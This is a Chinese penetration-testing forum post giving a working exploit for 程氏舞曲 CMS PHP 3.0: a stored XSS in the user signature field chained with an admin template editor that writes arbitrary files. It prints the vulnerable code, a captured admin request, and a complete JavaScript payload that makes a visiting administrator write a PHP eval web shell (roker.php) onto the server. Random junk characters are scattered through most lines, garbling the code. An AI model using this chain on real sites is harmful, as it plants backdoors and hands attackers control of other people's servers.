中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]

作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题3 z8 t" s0 T6 N, b
官网已经修补了,所以重新下了源码: ~/ j# ?* Q0 L7 L. o
因为 后台登入 还需要认证码 所以 注入就没看了。& A$ n5 Y- y( q% K
存在 xss4 a% R5 a+ @2 R- V5 p
漏洞文件 user/member/skin_edit.php
7 O# N, Q5 N% n0 G$ l) ?5 H1 {本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:/ `# p. }, Y5 O! e/ J0 @
  # _( ~' v$ x( T  G
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>+ n+ F0 m8 l  c0 c
  
4 P* t2 z) E, E7 ]: B</textarea></td></tr>$ j! J9 Q3 f, T: d2 _& J* e& e
  
; a2 \2 n9 T. @% Q7 D/ i             user/do.php $ \( a0 n+ I# u* G& }- ], i
& J$ d1 r: w+ T% J7 W! f

$ ]8 ~0 }# D, m' I$ U& ^3 Mif($op=='zl'){ //资料* D6 J( n: E0 k# r& W
  
' z/ g, }/ O, f; c) J0 t# c             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 6 p! F) I1 I% E' H# X
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));, U$ E0 V- d& S5 t6 U) h
  
& x+ }, X/ V6 T1 v             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',7 E! O( R6 u6 c$ b  F& x3 h8 F+ Q
  7 W) z( e% A1 h4 m
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'* v& k: B5 c9 x- P
             where CS_Name='".$cscms_name."'";) v, B" L# |7 l5 b+ B* K2 s
  
2 _$ @3 L* L% y: L; i- U             if($db->query($sql)){# j0 P7 o+ a9 f7 E. y
  
; i# v( W# }$ h  K- f3 `              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
0 {& B8 r. p8 I: ]( n  ! Y! R' x' Q4 @( ]
             }else{: m& |8 w* E* |1 y% G( K9 k0 F
  
0 w  X# ?, B" t' l; o              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
5 K  B9 b+ y% \0 f+ _% f  + W7 S( G3 M/ {, F7 n2 c
             }( n; ]& a% ~1 J9 I

3 p8 k5 b2 @; N4 U; x, |+ M9 [2 X2 f; @9 E6 P* m6 a# W
没有 过滤导致xss产生。
# R  H- r4 G1 f0 m" l后台 看了下 很奇葩的是可以写任意格式文件。。% X+ t% f. W6 ^
抓包。。
1 o1 T$ A. o9 z) M
6 H9 m; H* M' ^; |
. |! W. m, g. f本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
4 m% {2 t! b5 I  ) b; a$ R) [& F4 K
Accept: text/html, application/xhtml+xml, */*5 j9 P/ x3 [0 j/ N
  ! V% c/ Z3 `* c; e
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
$ o: Q: v$ J: a  ; P% `" f: A! f+ A" D# @2 G. f
Accept-Language: zh-CN
% H' X$ Y$ l7 M- k  
& d! n' h0 M+ R3 jUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
% a' y0 a/ l( F  {  : ?) P# ?6 X1 q  n
Content-Type: application/x-www-form-urlencoded0 O& q. t* K8 Z8 l  G" Z  s5 E
  
' l  N& D" q3 g5 ?  ^; VAccept-Encoding: gzip, deflate# @  t/ R; L* e7 v
  4 J& R- Y% `  C7 u, a' U
Host: 127.0.0.1
$ d* l. |' }0 w' r  : m5 \, @' r) I% [) x
Content-Length: 382 Z8 v! z0 {3 Y$ u9 }) G& _
  
0 @" B7 }+ T) Z5 t* ^0 xDNT: 1
5 O2 |$ w/ ?. _" h' F6 _- _  8 t7 G5 O3 I0 u3 z$ j
Connection: Keep-Alive" X9 Z+ q4 R+ p# w% S
  1 G% @& R' ]. Q
Cache-Control: no-cache& ?) \( l0 T; \, H$ l2 O) M
  ( |9 t4 |- c1 q0 y, W
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
3 b0 S4 B) c  ]9 N$ v3 D1 r8 I    b. W5 r+ |: J+ ?0 a7 _

8 u: I% V9 K- P- ]3 V" Lname=aaa.php&content=%3Cs%3E%3Ca%25%3E0 \( @* E. M# V; P5 f3 M

8 @! V* S+ Q8 k9 w8 U+ D0 B
& M, O8 d' v1 y" Y& ^6 m2 O2 v7 q7 h9 k" ~
于是 构造js如下。) o9 A9 e. A5 o! T) e! n+ a6 V. g
6 k. c7 A& \+ ]: q. p4 Y
本帖隐藏的内容<script> 2 w" j4 C2 o. c9 w! h7 D
thisTHost = top.location.hostname;6 k* t$ H" r1 w1 O
  - V+ Y6 ^* p, `; Q6 ?. N  P
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";, N0 h) R- J/ H: m& a
  
0 `# O3 d4 Y/ g5 ~function PostSubmit(url, data, msg) { # p" k% g# |) v3 F9 U$ a) R8 y
    var postUrl = url;  c  n1 l/ ?% u% ]* @2 h- X: q+ a
  
% \2 N+ R0 p; K# X    var postData = data;
9 t! P: w4 D2 y7 N( d; ^" }* ^3 m    var msgData = msg;
) }6 o& s! W" ~    var ExportForm = document.createElement("FORM");
. Q8 q% |4 C. H9 R. l3 S    document.body.appendChild(ExportForm);
1 B2 j3 V5 ?, _    ExportForm.method = "POST"; 9 |+ B  x5 l! O9 @- Z
    var newElement = document.createElement("input"); " T3 [. b1 p) o& X# ?3 \" q
    newElement.setAttribute("name", "name");
# T" V* ?! O. q1 F    newElement.setAttribute("type", "hidden"); . K4 g; \3 N  A8 |) m% \
    var newElement2 = document.createElement("input");
9 n8 x6 `1 L1 v, |    newElement2.setAttribute("name", "content"); % X& C: ]# }5 s7 K8 K
    newElement2.setAttribute("type", "hidden"); $ u0 T' `9 L# p) U0 o- [1 l/ F& Y
    ExportForm.appendChild(newElement);
  A% a/ L; X. {% R0 P, k    ExportForm.appendChild(newElement2);   i2 u( d' R1 J6 J4 o% W& E
    newElement.value = postData; $ B& C& H9 `8 W5 v
    newElement2.value = msgData;
: O( w: i5 k* g% F$ i1 m    ExportForm.action = postUrl; 4 V3 o3 ^% I; T5 Q
    ExportForm.submit();
) _: K4 F* E6 g' S# E; U};
* h+ f+ g0 @. w  [" g2 F" V  
8 \. _" h/ `9 p  G! Q2 |( xPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
7 K. i/ _1 Z2 Z( `/ T2 j2 @  % B; B- c6 k$ @5 ]5 {1 W' M. j
</script>2 Z  @# n: i# g! o

2 j9 ^+ ^* }, \2 ^- B
; A: G6 ?, u) ?4 \3 q8 r) h# ~5 E' i( p% Z/ C8 u2 N
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入2 p. b+ K! N: V' l9 j: x" g
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)+ ]/ `, h) `8 s! t: J
就会 在 skins\index\html\目录下生成 roker.php 一句话。

, [! Q) w7 E1 B3 y, p3 D+ r: V, D




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2